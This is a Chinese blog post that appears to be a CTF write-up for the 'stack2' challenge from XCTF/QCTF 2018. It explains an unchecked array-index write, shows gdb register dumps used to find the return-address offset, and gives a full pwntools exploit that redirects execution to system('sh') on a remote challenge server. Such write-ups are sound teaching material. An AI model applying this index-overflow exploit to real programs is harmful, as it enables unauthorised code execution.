攻防世界-stack2-Writeup

原创

SkYe231_ 于 2020-05-13 23:15:50 发布 358 收藏

文章标签： stack2 攻防世界

本文链接：https://blog.csdn.net/weixin_43921239/article/details/106109319

stack2

> 题目来源： XCTF 4th-QCTF-2018

[collapse title="展开查看详情" status="false"]

考点：数字下标溢出

保护情况：

```
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

漏洞函数：

```
puts("which number to change:");          // change
__isoc99_scanf("%d", &index); //没有检查下标
puts("new number:");
__isoc99_scanf("%d", &num);
num_list[index] = num;
```

程序中找到有预留的后门函数，所以通过数组越界修改返回地址到后门。所以需要寻找 num_list 与 eip 的偏移。

寻找 eip 在栈上地址比较容易，将断点打在 main 退出前（0x080488EF），查看寄存器值：

```
──────────────────────────────────────────────────────────[ REGISTERS ]──────────
────────────────────────────────────────────
EAX  0x0
EBX  0x0
ECX  0xffffcfa0 ◂— 0x1
EDX  0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x0
EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP  0x0
# 返回地址在栈上位置
ESP  0xffffcf9c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add    esp, 0x10
EIP  0x80488f2 (main+802) ◂— 0x669066c3
──────────────────────────────────────────────────────────[ BACKTRACE ]──────────
────────────────────────────────────────────
► f 0  80488f2 main+802
  f 1 f7e1d637 __libc_start_main+247
─────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────
```

写入地址在写入或者 show 操作汇编打断点，下面在录入时打断点找：

```
080486BD                 call    ___isoc99_scanf
080486C2                 add     esp, 10h
080486C5                 mov     eax, [ebp+num]
080486CB                 mov     ecx, eax
080486CD                 lea     edx, [ebp+num_list]//写入栈上
080486D0                 mov     eax, [ebp+var_7C]
080486D3                 add     eax, edx
080486D5                 mov     [eax], cl
080486D7                 add     [ebp+var_7C], 1
```

调试查看寄存器找到地址：

```
──────────────────────────────────────────────────────────[ REGISTERS ]──────────
────────────────────────────────────────────
EAX  0x56
EBX  0x0
ECX  0x56
#写入地址
EDX  0xffffcf18 ◂— 0x45 /* 'E' */
EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP  0xffffcf88 ◂— 0x0
ESP  0xffffcee0 —▸ 0xf7ffda74 —▸ 0xf7fd5470 —▸ 0xf7ffd918 ◂— 0x0
EIP  0x80486d0 (main+256) ◂— 0x184458b
────────────────────────────────────────────────────────────[ DISASM ]───────────
────────────────────────────────────────────
  0x80486c2 <main+242>    add    esp, 0x10
  0x80486c5 <main+245>    mov    eax, dword ptr [ebp - 0x88]
  0x80486cb <main+251>    mov    ecx, eax
  0x80486cd <main+253>    lea    edx, [ebp - 0x70]
► 0x80486d0 <main+256>    mov    eax, dword ptr [ebp - 0x7c]
  0x80486d3 <main+259>    add    eax, edx
  0x80486d5 <main+261>    mov    byte ptr [eax], cl
  0x80486d7 <main+263>    add    dword ptr [ebp - 0x7c], 1
  0x80486db <main+267>    mov    edx, dword ptr [ebp - 0x7c]
  0x80486de <main+270>    mov    eax, dword ptr [ebp - 0x90]
  0x80486e4 <main+276>    cmp    edx, eax
```

计算得出偏移：`0xffffcf9c` - `0xffffcf18` = `0x84`

后门函数只能本地打通，远程服务器没有 bash 指令。我就 ROP 和泄露 libc 地址了。看了大佬 wp 发现 `system(sh)` 也能 getshell，所以脚本如下：

完整exp：

```
from pwn import *

context.log_level = 'debug'
p = process("./stack2")
p = remote("124.126.19.106",42070)

def change(index,context):
 p.sendlineafter("exit",'3')
 p.sendlineafter('change',str(index))
 p.sendlineafter("number",str(context))


p.sendlineafter("have:",'2')
p.sendline(str(0x45))
p.sendline(str(0x56))

#system_plt
change(0x84+0,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
#gdb.attach(p)

#sh
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)

p.sendlineafter("exit",'5')
p.interactive()
```

[/collapse]